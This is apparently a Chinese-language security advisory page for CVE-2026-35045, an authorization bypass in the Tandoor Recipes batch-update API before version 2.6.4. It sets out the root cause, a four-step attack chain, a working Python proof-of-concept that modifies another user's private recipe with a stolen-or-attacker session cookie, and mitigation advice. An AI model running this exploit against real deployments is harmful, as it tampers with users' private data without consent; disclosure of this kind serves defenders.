IPBUF安全漏洞报告
English
CVE-2026-35045 CVSS 8.1 高危

CVE-2026-35045 Tandoor Recipes权限绕过漏洞

披露日期: 2026-04-06

漏洞信息

漏洞编号
CVE-2026-35045
漏洞类型
权限绕过
CVSS评分
8.1 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Tandoor Recipes

相关标签

权限绕过Tandoor RecipesCVE-2026-35045访问控制失效API安全IDOR

漏洞概述

Tandoor Recipes是一款用于管理食谱、计划膳食和构建购物列表的应用程序。在2.6.4版本之前,该应用程序的PUT /api/recipe/batch_update/端点存在权限绕过漏洞。该漏洞允许同一Space内的任何经过身份验证的用户修改该Space中的任何食谱,即使这些食谱被其他用户标记为私有。这绕过了在标准单个食谱端点上强制执行的对象级授权检查,导致私有食谱被强制公开、未经授权的自我授权访问以及元数据篡改。该问题在2.6.4版本中得到修复。

技术细节

该漏洞的根本原因在于Tandoor Recipes后端API逻辑的不一致性。在标准的单个食谱更新端点PUT /api/recipe/{id}/中,系统正确实施了对象级别的权限检查,确保只有食谱的所有者或具有特定权限的用户才能修改。然而,在批量更新端点PUT /api/recipe/batch_update/中,开发人员遗漏了这些关键的安全检查。攻击者只需拥有Space内的普通用户身份,即可构造恶意的HTTP PUT请求,指定目标食谱的ID(无论该食谱是否属于自己或是否为私有)。服务器接收到请求后,仅验证了用户是否属于该Space,而未验证用户是否拥有对这些特定食谱的修改权。这使得攻击者能够接管他人的私有食谱,修改其内容,将其添加到共享列表中,从而破坏了数据的机密性和完整性。

攻击链分析

STEP 1
1. 获取访问权限
攻击者注册或获取一个Tandoor Recipes应用程序中目标Space内的普通用户账户。
STEP 2
2. 枚举目标ID
攻击者通过观察URL或其他功能,猜测或枚举出受害者的私有食谱ID。
STEP 3
3. 发送恶意请求
攻击者构造一个PUT请求发送至/api/recipe/batch_update/,并在请求体中包含目标食谱ID及恶意修改数据。
STEP 4
4. 实施未授权修改
由于服务端缺少对象级授权检查,API接受请求并更新了受害者的私有食谱。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL for the vulnerable batch update endpoint target_url = "https://example.com/api/recipe/batch_update/" # Attacker's authentication cookies (must be a valid user in the Space) cookies = { "sessionid": "attacker_valid_session_cookie" } # Headers for the request headers = { "Content-Type": "application/json" } # Payload containing the ID of a private recipe owned by another user # Attempting to modify a recipe (ID: 999) that the attacker does not own payload = [ { "id": 999, "name": "Hacked Recipe - Unauthorized Access", "description": "This recipe was private and has been modified via the IDOR vulnerability." } ] # Sending the PUT request to exploit the vulnerability response = requests.put(target_url, json=payload, headers=headers, cookies=cookies) if response.status_code == 200: print("[+] Exploit successful! Private recipe has been modified.") print("[+] Response:", response.text) else: print("[-] Exploit failed or patched.") print("[-] Status Code:", response.status_code)

影响范围

Tandoor Recipes < 2.6.4

防御指南

临时缓解措施
如果无法立即升级,建议通过Web应用防火墙(WAF)限制对/api/recipe/batch_update/端点的访问,或暂时禁用批量更新功能,直到应用更新完成。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表